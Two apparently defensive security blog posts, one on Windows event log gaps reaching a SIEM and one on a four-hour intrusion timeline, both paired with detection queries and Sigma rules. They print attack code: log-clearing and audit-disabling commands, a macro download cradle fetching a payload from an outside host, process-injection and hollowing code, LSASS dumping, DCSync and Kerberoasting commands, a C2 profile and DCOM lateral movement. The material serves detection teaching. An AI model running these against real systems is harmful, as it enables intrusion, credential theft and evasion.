Write-Output \"Source oldest retained: $($sourceStats.OldestRecordId) at $($sourceStats.OldestTimestamp)\"
Write-Output \"Events retained locally: $($sourceStats.TotalRetained)\"
Now check what your SIEM has for the same host:
\nindex=wineventlog host=\"DC01\" source=\"WinEventLog:Security\"
| stats min(EventRecordID) as earliest_in_siem,
max(EventRecordID) as latest_in_siem,
count as total_in_siem
by host
| eval coverage_pct = round((total_in_siem / (latest_in_siem - earliest_in_siem + 1)) * 100, 2)
If coverage_pct is substantially below 100%, events in that ID range are missing from your SIEM. The delta between source TotalRetained and SIEM total_in_siem over the same period is your gap count.
A subtler but more scalable approach: establish a baseline of expected event volume per host per event type, then alert on deviations.
\nindex=wineventlog source=\"WinEventLog:Security\" EventCode=4688
| timechart span=1h count by host
| foreach [
eval avg_$host$ = mvavg($host$, 168),
eval pct_of_avg_$host$ = round(($host$ / avg_$host$) * 100, 0)
]
More practically, for a KQL (Microsoft Sentinel) equivalent:
\n// Detect hosts reporting significantly fewer events than their 7-day average
// Indicator of agent failure, log overwrite acceleration, or active suppression
let lookback = 7d;
let evaluationWindow = 1h;
SecurityEvent
| where TimeGenerated > ago(lookback)
| where EventID == 4688 // Process creation high volume, good baseline indicator
| summarize
EventCount = count()
by Computer, bin(TimeGenerated, evaluationWindow)
| summarize
AvgHourlyCount = avg(EventCount),
StdDev = stdev(EventCount),
LastHourCount = take_anyif(EventCount, TimeGenerated > ago(evaluationWindow))
by Computer
| where isnotempty(LastHourCount)
| extend
DropThreshold = AvgHourlyCount * 0.5, // Alert if below 50% of average
PctOfAverage = round((LastHourCount / AvgHourlyCount) * 100, 1)
| where LastHourCount < DropThreshold
| where AvgHourlyCount > 10 // Exclude hosts with low baseline (too noisy)
| project Computer, AvgHourlyCount, LastHourCount, PctOfAverage, DropThreshold
| sort by PctOfAverage asc
This query runs every hour. Any host reporting fewer than 50% of its normal process creation events triggers an alert. The root cause could be: the machine is off (expected), the agent crashed (fix it), the log is not being collected (configuration issue), or an attacker suppressed logging (respond immediately).
\nThe most reliable test: inject known events into a source machine and verify they appear in your SIEM with the correct fields within an expected time window. This is functionally equivalent to a canary test for your collection pipeline.
\n\n# On a test or production machine:
# Inject a synthetic event into the Application log with a unique identifier
# that you can search for in your SIEM
$uniqueMarker = \"SIEM-FIDELITY-TEST-$(Get-Date -Format 'yyyyMMdd-HHmmss')-$(New-Guid)\"
# Write a synthetic event using .NET EventLog class
$eventSource = \"SIEMFidelityTest\"
if (-not [System.Diagnostics.EventLog]::SourceExists($eventSource)) {
[System.Diagnostics.EventLog]::CreateEventSource($eventSource, \"Application\")
}
$log = New-Object System.Diagnostics.EventLog(\"Application\")
$log.Source = $eventSource
$log.WriteEntry($uniqueMarker, [System.Diagnostics.EventLogEntryType]::Information, 9999)
Write-Output \"Injected marker: $uniqueMarker\"
Write-Output \"Now search your SIEM for this string within the next 5 minutes.\"
Write-Output \"If absent after 10 minutes, the collection pipeline has a gap.\"
You can wrap this into a scheduled task that runs every 4 hours, writes a unique marker, and then a separate SIEM query checks for the marker's arrival within a 15-minute window. Missing markers = pipeline failure = automatic ticket.
\nSIEM search to validate the marker arrived (Splunk):
\nindex=wineventlog OR index=windows EventCode=9999 source=\"WinEventLog:Application\"
| where Message like \"%SIEM-FIDELITY-TEST%\"
| rex field=Message \"SIEM-FIDELITY-TEST-(?<marker_id>[^\\s]+)\"
| eval latency_seconds = now() - strptime(substr(marker_id, 1, 15), \"%Y%m%d-%H%M%S\")
| table _time, host, marker_id, latency_seconds
| sort -_time
If latency_seconds is consistently over 900 (15 minutes), your collection pipeline is too slow for meaningful detection of fast-moving incidents.
# On the WEC server view health of all subscriptions and their sources
wecutil es # List all subscriptions
# For each subscription, check the runtime status of all enrolled sources
$subscriptions = wecutil es
foreach ($sub in $subscriptions) {
Write-Host \"`n=== Subscription: $sub ===\" -ForegroundColor Cyan
# Get full subscription config
wecutil gs \"$sub\" | Select-String -Pattern \"Name|Status|Enabled|Uri\"
# Get per-source runtime status
wecutil gr \"$sub\" | ForEach-Object {
if ($_ -match \"Source|LastError|NextRetry|LastHeartbeat\") {
if ($_ -match \"LastError\" -and $_ -notmatch \"LastError: 0x0\") {
Write-Host $_ -ForegroundColor Red # Non-zero error = problem
} else {
Write-Host $_
}
}
}
}
Look for sources with LastError values other than 0x0. Common error codes and their meaning:
| Error Code | Meaning | Action |
|---|---|---|
| 0x0 | OK | None needed |
| 0x80070005 | Access denied | Check WinRM configuration, DACL on subscription |
| 0x80070776 | Subscription not found | Re-apply GPO, restart WEC service |
| 0x803300004 | Connection refused | WinRM not running on source, firewall blocking 5985 |
| 0x803300005 | Could not connect | DNS resolution failure, network issue |
| 0x8033000f | No more endpoints | Source machine offline or unreachable |
# Find all WEF sources that haven't heartbeated in the last 2 hours
# These are machines with potential coverage gaps
$twoHoursAgo = (Get-Date).AddHours(-2)
wecutil gr \"BaselineSubscription\" |
Select-String \"Source:|LastHeartbeat:\" |
ForEach-Object {
$line = $_.Line.Trim()
if ($line -match \"^Source:\") {
$currentSource = ($line -split \"Source: \")[1]
}
if ($line -match \"LastHeartbeat:\") {
$hb = ($line -split \"LastHeartbeat: \")[1]
if ($hb -ne \"N/A\") {
$heartbeatTime = [DateTime]::Parse($hb)
if ($heartbeatTime -lt $twoHoursAgo) {
Write-Warning \"STALE: $currentSource last heartbeat: $heartbeatTime\"
}
}
}
}
Everything above describes accidental gaps. Sophisticated attackers deliberately exploit them. MITRE ATT&CK T1562.002 (Impair Defenses: Disable Windows Event Logging) documents the specific techniques.
\n:: Attacker with local admin rights can disable specific audit subcategories
:: to suppress logging of their specific techniques
:: Disable process creation logging before running tools
auditpol /set /subcategory:\"Process Creation\" /success:disable /failure:disable
:: Disable logon event logging during lateral movement
auditpol /set /subcategory:\"Logon\" /success:disable
:: This generates Event ID 4719 (audit policy changed) IF you're logging it
:: Most environments don't alert on 4719. Check yours:
auditpol /get /subcategory:\"Audit Policy Change\"
The defense: Alert on Event ID 4719 (system audit policy changed). This event is generated whenever auditpol modifies the local policy. It is one of the highest-fidelity indicators of active defense evasion it has almost no legitimate use outside of planned administrative changes.
// KQL Alert on audit policy changes from non-scheduled-task processes
SecurityEvent
| where EventID == 4719
| where TimeGenerated > ago(24h)
| extend
SubjectUser = tostring(EventData.SubjectUserName),
SubjectLogon = tostring(EventData.SubjectLogonId),
AuditPolicyChanges = tostring(EventData.AuditPolicyChanges)
| where SubjectUser !endswith \"$\" // Exclude machine accounts (GPO application)
| project TimeGenerated, Computer, SubjectUser, AuditPolicyChanges
| sort by TimeGenerated desc
# Attacker clears the Security log to destroy evidence
wevtutil cl Security # Generates Event 1102 (audit log cleared)
# OR
Clear-EventLog -LogName Security # Same result
# Remove-EventLog is more destructive removes the channel entirely
Remove-EventLog -LogName Security
# Does NOT generate 1102 the channel is gone before the event can be written
# Generates 104 in System log (log service error)
Detecting log clearing:
\n// Alert on Event 1102 (Security log cleared) rare legitimate event
SecurityEvent
| where EventID == 1102
| project TimeGenerated, Computer,
Account = tostring(EventData.SubjectUserName),
LogonId = tostring(EventData.SubjectLogonId)
| sort by TimeGenerated desc
// Also alert on Event 104 (System log) which indicates service-level log removal
Event
| where EventLog == \"System\" and EventID == 104
| project TimeGenerated, Computer, RenderedDescription
A sophisticated attacker can tamper with ETW at the kernel level, disabling specific providers without triggering log-clearing events:
\nTechnique: Patch the ETW provider registration in the target process's memory
to return early from the ETW write function, silently suppressing all
events from that provider without any Event ID 1102, 4719, or 104 appearing.
Detection:
- Compare expected vs. actual event volumes (Section 6.2)
- Monitor for Sysmon Event ID 1 (process creation) with known ETW-patching
tool signatures in CommandLine field
- Check ETW session buffer loss counters (Section 1.2)
- Synthetic event injection will catch this (Section 6.3)
There is no single event that fires when ETW is patched in memory. Volume-based detection and synthetic injection are the only reliable detections.
\n# 1. Verify the audit policy override flag is set on all DCs and critical servers
# Expected: \"Audit: Force audit policy...\" = Enabled
Invoke-Command -ComputerName \"DC01\",\"DC02\",\"SERVER01\" -ScriptBlock {
$setting = secedit /export /cfg \"$env:TEMP\\secpol.cfg\" /quiet
Select-String \"MACHINE\\\\System\\\\CurrentControlSet\\\\Control\\\\Lsa\\\\SCENoApplyLegacyAuditPolicy\" `
\"$env:TEMP\\secpol.cfg\"
}
# 2. Check that process creation (4688) IS generating events on at least one DC
$recent4688 = Get-WinEvent -ComputerName \"DC01\" -LogName Security `
-FilterXPath \"*[System[EventID=4688 and TimeCreated[timediff(@SystemTime) <= 3600000]]]\" `
-MaxEvents 5 -ErrorAction SilentlyContinue
if (-not $recent4688) {
Write-Warning \"No 4688 events in last hour on DC01 audit policy not configured correctly\"
}
# 3. Check command-line logging is enabled
$cmdLineSetting = Invoke-Command -ComputerName \"DC01\" -ScriptBlock {
$path = \"HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\Audit\"
(Get-ItemProperty -Path $path -Name \"ProcessCreationIncludeCmdLine_Enabled\" -EA SilentlyContinue).ProcessCreationIncludeCmdLine_Enabled
}
if ($cmdLineSetting -ne 1) {
Write-Warning \"Command-line logging NOT enabled on DC01 all 4688 events have empty CommandLine\"
}
# Resize Security log on all DCs to 4GB
$dcs = (Get-ADDomainController -Filter *).Name
foreach ($dc in $dcs) {
Invoke-Command -ComputerName $dc -ScriptBlock {
wevtutil sl Security /ms:4294967296 # 4GB
wevtutil sl Microsoft-Windows-Sysmon/Operational /ms:2147483648 # 2GB
wevtutil sl Microsoft-Windows-PowerShell/Operational /ms:1073741824 # 1GB
Write-Output \"$env:COMPUTERNAME log sizes updated\"
}
}
Deploy the synthetic event injection test as a scheduled task on 10 representative hosts (DCs, critical servers, sample workstations). Run every 4 hours. Alert in SIEM if any marker is absent after 15 minutes. This gives you continuous, automated validation of collection fidelity the metric that turns this from a one-time audit into an ongoing operational control.
\n| Gap | Detection Method | Tool | Time to Verify |
|---|---|---|---|
| Audit policy not generating events | auditpol /get /category:* | auditpol.exe | 5 min per host |
| Legacy/advanced policy conflict | Check for SCENoApplyLegacyAuditPolicy=0 | secedit / registry | 10 min |
| Command-line logging disabled | Registry check | PowerShell | 2 min per host |
| Log sizes too small | wevtutil gl Security | wevtutil.exe | 2 min per host |
| WEF subscription filter errors | Test XPath with Get-WinEvent -FilterXPath | PowerShell | 15 min |
| WEC server dropping events | ETW Buffers Lost performance counter | Get-Counter | 10 min |
| WEF delivery mode too slow | wecutil gs <subscription> DeliveryMaxLatency | wecutil.exe | 5 min |
| Stale WEF sources | wecutil gr <subscription> LastHeartbeat | wecutil.exe | 15 min |
| EventRecordID gaps in SIEM | Compare source RecordId vs. SIEM query | PowerShell + SIEM | 30 min |
| Volume baseline deviation | SIEM query comparing last hour to 7-day avg | SIEM | Ongoing |
| Audit log cleared (1102) | Alert rule in SIEM | SIEM | Deploy now |
| Audit policy tampered (4719) | Alert rule in SIEM | SIEM | Deploy now |
| ETW tampering | Synthetic injection test | Scheduled PowerShell | Deploy weekly |
All commands in this post are standard Windows administrative utilities and PowerShell built-ins. They operate on logs you have administrative access to. This is a defensive operations guide.
", "url": "https://inferencedefense.com/academy/blog-internal/windows-event-log-architecture-siem-missing-events", "title": "Windows Event Log Architecture: Why Your SIEM Is Probably Missing 30% of Events and How to Verify It", "summary": "The 10 failure points across 4 layers where Windows events silently disappear before reaching your SIEM and the scripts to measure your actual collection fidelity.", "date_modified": "2026-04-18T00:00:00.000Z", "author": { "name": "Inference Defense", "url": "https://inferencedefense.com" }, "tags": [ "detection-engineering", "soc-operations", "windows-security", "event-logging", "siem", "wef", "audit-policy", "etw" ] }, { "id": "https://inferencedefense.com/academy/blog-internal/apt-initial-access-to-domain-dominance-4-hours", "content_html": "\n\nYou're staring at an EDR alert from 11:47 PM. A Word document spawned PowerShell. By the time your analyst acknowledges the ticket at 12:09 AM, the attacker already has a beacon calling home, has run BloodHound across your entire AD, dumped credentials from LSASS, and is authenticating to your domain controller with a Domain Admin hash. The \"200-day dwell time\" you quoted last quarter's board meeting is about to become a footnote. This intrusion will be over in four hours.
\n
Category: Threat Intelligence · Reading time: 25 min · Audience: SOC Analysts, Detection Engineers, Incident Responders
\nThe \"197-day average dwell time\" figure has been cited in board decks and budget justifications for a decade. It is not wrong it is simply irrelevant to how modern targeted intrusions unfold.
\nThat average is anchored by two outlier scenarios: low-sophistication actors who establish persistence and sit idle, and nation-state espionage campaigns deliberately designed for long-term quiet collection. Neither describes your ransomware operator, your financially motivated eCrime group, or an actor running a targeted smash-and-grab on intellectual property.
\nThe metric that matters for defenders is breakout time elapsed time from an adversary gaining initial access on the first host to beginning lateral movement to a second host. Industry reporting from 2024 puts the median at 62 minutes. The fastest recorded case was under 3 minutes.
\nThis single statistic should reshape how you think about every SLA in your SOC.
\nThe following is a composite timeline reconstructed from multiple public DFIR reports, combining elements from documented intrusions by groups including SCATTERED SPIDER, Cl0p affiliates during the MOVEit campaign, and ALPHV/BlackCat operators. No single engagement will match this exactly, but every element below has been observed in documented intrusions within the timeframes noted.
\n\nIf your P1 acknowledgment SLA is 15 minutes and your containment SLA is 4 hours, you are structurally incapable of preventing lateral movement against an adversary operating on this timeline. The math does not work, and tuning detections without addressing response velocity is rearranging deck chairs.
\nThis is not an argument for panic it is an argument for automated containment triggers on specific high-confidence events, rather than relying on human-in-the-loop for every step of the response chain.
\nSpeed comes from tooling that has been refined over years of red team and criminal operator use. Here is exactly what the execution looks like at the command level.
\nMacro-based initial access (still common in targeted attacks):
\n' Embedded in .doc / .xlsm delivered via phishing
Sub AutoOpen()
Dim wsh As Object
Set wsh = CreateObject(\"WScript.Shell\")
' Download and execute in-memory via PowerShell
wsh.Run \"powershell -nop -w hidden -enc \" & Base64EncodedPayload, 0, False
End Sub
The encoded payload typically resolves to something like:
\n# Decoded: download and reflectively load a beacon
$data = (New-Object System.Net.WebClient).DownloadData('https://cdn-update[.]com/update.bin')
$asm = [System.Reflection.Assembly]::Load($data)
$asm.EntryPoint.Invoke($null, $null)
Nothing touches disk. The beacon is loaded into the PowerShell process memory space directly.
\nISO/LNK delivery (bypasses Mark-of-the-Web):
\n# LNK target field (visible in properties or forensic tools):
C:\\Windows\\System32\\cmd.exe /c start \\\\attacker-host\\share\\payload.dll
# OR via GLOBALROOT UNC (bypasses drive-letter path checks):
C:\\Windows\\System32\\cmd.exe /c start \\\\?\\GLOBALROOT\\Device\\Mup\\attacker-host\\share\\payload.dll
# OR simpler:
C:\\Windows\\System32\\rundll32.exe payload.dll,EntryPoint
ISO files mounted by double-click in Windows 10/11 do not inherit MOTW from the container, so SmartScreen and Attachment Manager do not flag the contents.
\nStaying inside WINWORD.EXE or powershell.exe is noisy. The first task after payload execution is migrating into a less suspicious process.
Classic CreateRemoteThread injection (loud, still used by lower-tier actors):
\n// Attacker-side: inject shellcode into target PID
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);
LPVOID mem = VirtualAllocEx(hProc, NULL, shellcodeLen,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProc, mem, shellcode, shellcodeLen, NULL);
HANDLE hThread = CreateRemoteThread(hProc, NULL, 0,
(LPTHREAD_START_ROUTINE)mem, NULL, 0, NULL);
This generates Sysmon Event ID 8 (CreateRemoteThread) detectable if you are collecting it.
\nProcess hollowing (more evasive):
\n// Create suspended process, replace image with shellcode
STARTUPINFO si = {0};
PROCESS_INFORMATION pi = {0};
CreateProcess(\"C:\\\\Windows\\\\System32\\\\svchost.exe\", NULL, NULL, NULL,
FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
// Get thread context to find image base
CONTEXT ctx = {0};
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.hThread, &ctx);
// Unmap original image, write shellcode at same base address
NtUnmapViewOfSection(pi.hProcess, (PVOID)imageBase);
VirtualAllocEx(pi.hProcess, (PVOID)imageBase, shellcodeLen,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, (PVOID)imageBase, shellcode, shellcodeLen, NULL);
// Resume thread now running attacker code inside svchost.exe
SetThreadContext(pi.hThread, &ctx);
ResumeThread(pi.hThread);
The resulting process shows as svchost.exe in Task Manager and most EDR process trees. Detection requires checking whether the on-disk image hash matches what is loaded in memory a capability present in some EDRs but not all.
Direct syscalls (bypasses user-mode hooks):
\nModern EDRs hook user-mode APIs like NtAllocateVirtualMemory, NtWriteVirtualMemory, and NtCreateThreadEx in ntdll.dll to intercept injection attempts. Attackers bypass this by calling the syscall directly:
; Direct syscall stub for NtAllocateVirtualMemory (Windows 10 21H2 syscall number)
NtAllocateVirtualMemory:
mov r10, rcx
mov eax, 18h ; syscall number varies by Windows build
syscall
ret
Tools like SysWhispers2 and SysWhispers3 automate generating these stubs for any NT function. The result: injection with no user-mode hooks touched, no EDR API intercept possible.
\nA tuned Cobalt Strike beacon over HTTPS will look like this on the wire:
\n# HTTP GET beacon request (simplified)
GET /jquery-3.3.1.min.js HTTP/1.1
Host: updates.microsoftcdn-assets[.]com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: __utma=1.1234567890.1234567890.1234567890.1234567890.1;
__utmz=1.1234567890.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)
Connection: keep-alive
# The cookie value is the encoded beacon metadata + encrypted command request
# The server response contains encoded tasking in the response body,
# disguised as a legitimate jQuery file
The malleable C2 profile controls all of this URI, headers, encoding, response format. A sample profile snippet that mimics Amazon browsing:
\nhttp-get {
set uri \"/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books\";
client {
header \"Accept\" \"*/*\";
header \"Host\" \"www.amazon.com\";
metadata {
base64url;
prepend \"session-token=\";
prepend \"skin=noskin;\";
append \"csm-hit=s-24KU11BB82RZSYGJ3BDK|1419899012996\";
header \"Cookie\";
}
}
server {
header \"Content-Type\" \"text/html; charset=UTF-8\";
header \"Server\" \"Server\";
output {
print;
}
}
}
The metadata block encodes the beacon's check-in data inside a realistic Cookie header. Network-level detection based on URI or header inspection will not catch this without behavioral analysis.
\nSharpHound (the BloodHound collector) runs as a .NET assembly, typically executed in-memory via execute-assembly:
# Cobalt Strike console:
execute-assembly /opt/tools/SharpHound.exe -c All --zipfilename loot.zip --outputdirectory C:\\Users\\Public\\
# Common collection flags:
# -c All : collect all data types (sessions, ACLs, trusts, containers)
# --stealth : reduced noise mode, skips session enumeration
# --domaincontroller <DC> : target specific DC to reduce distributed noise
# --excludedcs : skip DCs in session enumeration (less noisy)
What this generates on the network in the first 4 minutes:
\n# LDAP queries to DC (port 389/636):
- objectClass=computer (all machines in domain)
- objectClass=user (all user accounts)
- objectClass=group (all groups)
- objectClass=organizationalUnit
- objectClass=trustedDomain (trust relationships)
- nTSecurityDescriptor (ACL collection the noisy one)
- userAccountControl
- servicePrincipalName (Kerberoastable accounts)
# SMB connections (port 445) to sampled workstations:
- NetSessionEnum (session enumeration)
- This generates Event ID 4624 (logon) + 4634 (logoff) on each target
Total LDAP query volume against the DC: 200–2000 queries in 4 minutes depending on domain size. For a 1,000-user domain, this is 3–8x the normal LDAP query rate from workstations detectable but only if you are baselining LDAP rates per source.
\nReading the BloodHound output what the attacker sees:
\n\nThe attacker now has a GPS-guided path to DA. The individual misconfigurations (helpdesk having local admin on workstations, a DA account running as a service) are each defensible in isolation together they form a chain.
\nMethod 1: LSASS via comsvcs.dll (no external tools)
\n# Get LSASS PID
tasklist /fi \"imagename eq lsass.exe\"
# Dump via built-in Windows DLL no Mimikatz binary needed
rundll32.exe C:\\Windows\\System32\\comsvcs.dll, MiniDump 612 C:\\Windows\\Temp\\lsass.dmp full
# Exfiltrate and parse offline with Mimikatz:
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords
This uses a signed Microsoft DLL. No malware binary is written to disk.
\nMethod 2: Direct syscall LSASS access (bypasses EDR hooks on OpenProcess)
\n// Using direct NtReadVirtualMemory syscall stub
// EDR hooks on ReadProcessMemory in ntdll are bypassed
HANDLE hProc;
OBJECT_ATTRIBUTES oa = {0};
CLIENT_ID cid = {(HANDLE)lsassPID, NULL};
NtOpenProcess(&hProc, PROCESS_VM_READ | PROCESS_QUERY_INFORMATION,
&oa, &cid); // direct syscall no EDR hook
// Read LSASS memory regions containing credentials
NtReadVirtualMemory(hProc, baseAddr, buffer, size, &bytesRead);
Method 3: DCSync (requires Replicating Directory Changes All)
\n# Mimikatz executed on any machine where the operator has sufficient privileges
# Does NOT need to run on a DC
lsadump::dcsync /domain:corp.local /all /csv
# OR for a specific account:
lsadump::dcsync /domain:corp.local /user:krbtgt
# Output:
Object RDN : krbtgt
** SAM ACCOUNT **
SAM Username : krbtgt
Account Type : 30000000 ( USER_OBJECT )
Credentials:
Hash NTLM: 8846f7eaee8fb117ad06bdd830b7586c
With the krbtgt hash, the attacker can forge Kerberos tickets for any account in the domain a Golden Ticket. The domain is fully compromised. Resetting krbtgt once is insufficient (it must be reset twice, 10 hours apart, to invalidate all forged tickets).
Method 4: Kerberoasting (offline, no LSASS access needed)
\n# Request service tickets for all Kerberoastable SPNs
# Runs as any domain user no elevated privileges required
Add-Type -AssemblyName System.IdentityModel
$spns = @(\"MSSQLSvc/sqlserver.corp.local:1433\",
\"HTTP/webapp.corp.local\",
\"backup/backupsrv.corp.local\")
foreach ($spn in $spns) {
$ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken `
-ArgumentList $spn
$ticketBytes = $ticket.GetRequest()
# Extract RC4/AES encrypted portion and submit to hashcat
}
Cracking with hashcat:
\nhashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt \\
--rules-file /usr/share/hashcat/rules/best64.rule
# Against weak passwords, expect cracks in seconds to minutes
# Strong service account passwords (25+ chars, random) are infeasible to crack
The defense is trivially simple: service account passwords should be 30+ character random strings, managed via Group Managed Service Accounts (gMSA). Yet Kerberoastable accounts with crackable passwords are found in virtually every enterprise AD environment.
\nDCOM lateral movement is the technique that most SOCs have inadequate detection coverage for.
\nMMC20.Application object:
\n# From attacker-controlled host, targeting VICTIM-HOST
$com = [System.Activator]::CreateInstance(
[System.Type]::GetTypeFromProgID(\"MMC20.Application\", \"VICTIM-HOST\")
)
# Execute arbitrary command on remote host spawns under mmc.exe on target
$com.Document.ActiveView.ExecuteShellCommand(
\"cmd.exe\",
$null,
\"/c powershell -nop -w hidden -enc [BASE64_BEACON]\",
\"7\" # window state: hidden
)
ShellWindows / ShellBrowserWindow (execution appears under explorer.exe):
\n$com = [System.Activator]::CreateInstance(
[System.Type]::GetTypeFromProgID(\"Shell.Application\", \"VICTIM-HOST\")
)
$item = $com.Windows() | Where-Object {$_.FullName -like \"*explorer*\"} | Select -First 1
$item.Document.Application.ShellExecute(
\"cmd.exe\",
\"/c powershell -nop -w hidden -enc [BASE64_BEACON]\",
\"C:\\Windows\\System32\",
$null,
0
)
What this generates in Windows event logs on the target:
\nEvent ID: 4688 (Process Creation)
Creator Process: C:\\Windows\\explorer.exe
New Process: C:\\Windows\\System32\\cmd.exe
Command Line: cmd.exe /c powershell -nop -w hidden -enc AAAA...
Logon ID: 0x3E7
There is no Event ID 7045 (service installed), no 5140/5145 (share access), no 4648 (explicit credential logon if pass-the-hash is used). The two event IDs most lateral movement detections are built around are absent.
\n| Technique | Detection Method | Reliability |
|---|---|---|
| Default Cobalt Strike beacon | Memory scanning for beacon PE characteristics | High |
CreateRemoteThread injection | Sysmon Event ID 8, anomalous source/target | Medium-High |
Direct OpenProcess to LSASS | Kernel callback instrumentation | High |
| Mimikatz binary on disk | AV signature | High |
Common LOLBin abuse (certutil, mshta, regsvr32) | Process creation + command line | Medium |
Token impersonation near-zero detection coverage:
\nWhen an attacker calls ImpersonateLoggedOnUser or duplicates a token via DuplicateTokenEx + CreateProcessWithTokenW, the resulting process inherits the victim token. Event ID 4688 shows the impersonated user as the process creator it looks like that user legitimately launched the process.
// Attacker runs as SYSTEM, impersonates Domain Admin token from a running session
HANDLE hDupToken;
DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL,
SecurityImpersonation, TokenPrimary, &hDupToken);
CreateProcessWithTokenW(hDupToken, 0, \"cmd.exe\", ...);
// Event 4688: Creator = DA_username, Parent = legitimate process
// No anomaly signal at process level
Detection requires correlating the logon session ID of the created process against the process tree lineage available in Sysmon EventID 1 LogonId field but rarely queried.
Pass-the-hash the tell is a single field almost nobody checks:
\nEvent ID: 4624 (Logon)
Logon Type: 3 (Network)
Authentication Package: NTLM
Logon Process: NtLmSsp
Workstation: ATTACKER-HOST
Key Length: 0 <-- THIS IS THE TELL
Key Length of 0 in a Type 3 NTLM logon indicates no session key was negotiated a characteristic of pass-the-hash. This field is almost never included in standard SIEM correlation rules.
\nDCSync only caught if audit policy is correct:
\nDCSync generates Event ID 4662 on the Domain Controller, but only if Audit Directory Service Access is enabled for success events which most environments have disabled due to log volume.
When enabled, the signal is unambiguous:
\nEvent ID: 4662
Object Type: domainDNS
Properties: DS-Replication-Get-Changes
DS-Replication-Get-Changes-All
Subject: CORP\\jsmith <-- should be a computer account, not a user
A 4662 event where the subject is a user account (not a $ computer account) requesting replication permissions is an unconditional true positive it has no legitimate explanation in a normal environment.
Low-and-slow Kerberoasting no volume anomaly to detect:
\nEvent ID: 4769 (Kerberos Service Ticket Operation)
Account Name: jsmith@CORP.LOCAL
Service Name: svcbackup
Ticket Encryption Type: 0x17 <-- RC4-HMAC: this is the tell
Encryption type 0x17 (RC4-HMAC) for a TGS request, when AES is available and expected, is anomalous. If your service accounts are configured to support only AES, any RC4 TGS request is impossible under normal operation making it a zero-false-positive detection.
Connection interval jitter analysis (Splunk)
\nNormal browsing generates variable connection intervals. A beacon sleeping 45s ±25% generates intervals clustering in a 33–56 second band low variance over many observations.
\nindex=proxy dest_category=external action=allowed
| eval interval=_time
| sort src_ip dest_ip _time
| streamstats window=2 current=t by src_ip dest_ip
last(_time) as prev_time
| eval gap = _time - prev_time
| where gap > 0
| stats
count as req_count,
avg(gap) as avg_interval,
stdev(gap) as jitter,
min(gap) as min_gap,
max(gap) as max_gap
by src_ip, dest_ip
| where req_count > 20
AND avg_interval > 20
AND avg_interval < 300
AND jitter < 15
AND (max_gap - min_gap) < 60
| table src_ip, dest_ip, req_count, avg_interval, jitter
| sort jitter
JARM fingerprint matching
\nJARM fingerprints TLS servers. Default Cobalt Strike team servers have known JARM hashes regardless of the domain or certificate used.
\n# Fingerprint a suspicious C2 candidate
python3 jarm.py suspicious-domain[.]com -p 443
# Known malicious JARM hashes (Cobalt Strike defaults as of 2023):
# 07d14d16d21d21d07c42d41d00041d24a458a375eef0c576d23a7bab9a9fb1
# 2ad2ad0002ad2ad22c42d42d000000032d2ad2ad2ad2ad2ad0ad23abf4b834
Certificate age + infrastructure freshness (Python)
\nimport ssl, socket, datetime
def check_c2_indicators(domain):
indicators = {}
# Check certificate issuance date
ctx = ssl.create_default_context()
with ctx.wrap_socket(socket.socket(), server_hostname=domain) as s:
s.connect((domain, 443))
cert = s.getpeercert()
not_before = datetime.datetime.strptime(
cert['notBefore'], \"%b %d %H:%M:%S %Y %Z\")
cert_age_days = (datetime.datetime.utcnow() - not_before).days
indicators['cert_young'] = cert_age_days < 30 # Fresh cert: suspicious
# Check domain registration age via WHOIS
import whois
w = whois.whois(domain)
if w.creation_date:
reg_date = w.creation_date[0] if isinstance(w.creation_date, list) else w.creation_date
domain_age = (datetime.datetime.utcnow() - reg_date).days
indicators['domain_young'] = domain_age < 90
# Score: cert_young + domain_young + suspicious_asn = high confidence C2
score = sum([indicators.get('cert_young', 0),
indicators.get('domain_young', 0)])
indicators['suspicion_score'] = score
return indicators
Domains scoring 2/2 on this check warrant immediate investigation.
\nThe LDAP burst signature is distinctive. Alert condition: more than 150 Event ID 1644 entries from a single non-DC source within 5 minutes.
\nEvent ID 1644 must be enabled explicitly:
\n# Enable on all DCs via GPO or registry:
reg add \"HKLM\\SYSTEM\\CurrentControlSet\\Services\\NTDS\\Diagnostics\" /v \"15 Field Engineering\" /t REG_DWORD /d 5 /f
Kibana query:
\n{
\"query\": {
\"bool\": {
\"must\": [
{ \"term\": { \"event.code\": \"1644\" }},
{ \"term\": { \"winlog.channel\": \"Directory Service\" }},
{ \"range\": { \"@timestamp\": { \"gte\": \"now-5m\" }}}
],
\"should\": [
{ \"wildcard\": { \"winlog.event_data.Filter\": \"*objectClass=computer*\" }},
{ \"wildcard\": { \"winlog.event_data.Filter\": \"*nTSecurityDescriptor*\" }},
{ \"wildcard\": { \"winlog.event_data.Filter\": \"*servicePrincipalName*\" }}
],
\"minimum_should_match\": 2
}
}
}
comsvcs.dll MiniDump Sigma rule:
\ntitle: LSASS Dump via comsvcs.dll MiniDump
status: production
description: Detects LSASS memory dump using the built-in comsvcs.dll MiniDump export
logsource:
category: process_creation
product: windows
detection:
selection:
EventID: 4688
NewProcessName|endswith: '\\rundll32.exe'
CommandLine|contains|all:
- 'comsvcs'
- 'MiniDump'
condition: selection
falsepositives:
- None known
level: critical
tags:
- attack.credential_access
- attack.t1003.001
DCSync Sigma rule:
\ntitle: DCSync Attack - Replication Rights Abuse
status: production
description: >
Detects DCSync by identifying replication rights exercised
by a non-computer, non-DC account
logsource:
product: windows
service: security
detection:
selection:
EventID: 4662
Properties|contains:
- '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2' # DS-Replication-Get-Changes
- '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2' # DS-Replication-Get-Changes-All
filter_computer_accounts:
SubjectUserName|endswith: '$'
filter_known_dc_sync:
SubjectUserName|startswith:
- 'MSOL_'
- 'AADConnect'
